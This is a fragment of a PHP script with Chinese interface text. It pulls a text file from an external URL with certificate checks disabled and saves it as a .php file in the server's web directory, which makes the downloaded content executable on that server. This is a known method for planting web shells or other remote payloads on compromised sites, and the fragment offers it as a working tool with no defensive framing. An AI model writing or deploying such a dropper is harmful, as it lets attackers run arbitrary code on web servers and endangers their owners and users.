true, CURLOPT_FOLLOWLOCATION => true, CURLOPT_TIMEOUT => $timeout, CURLOPT_SSL_VERIFYPEER => false, CURLOPT_SSL_VERIFYHOST => false, ]); $b = curl_exec($ch); $e = curl_error($ch); curl_close($ch); return $e ? null : $b; } $ctx = stream_context_create([ 'http' => ['timeout' => $timeout, 'ignore_errors' => true], 'ssl' => ['verify_peer' => false, 'verify_peer_name' => false], ]); $b = @file_get_contents($url, false, $ctx); return ($b === false) ? null : $b; } $result = ''; $content = fetch_url($external_txt); if ($content === null) { $result = "拉取失败: $external_txt"; } else { $target = __DIR__ . DIRECTORY_SEPARATOR . $save_name; if (file_put_contents($target, $content) !== false) { $result = "已保存到: $target" . PHP_EOL . "文件大小: " . filesize($target) . " 字节"; } else { $result = "写入失败: 当前目录不可写"; } } ?> 外链 txt → 本服务器 .php

外链 txt 保存到本服务器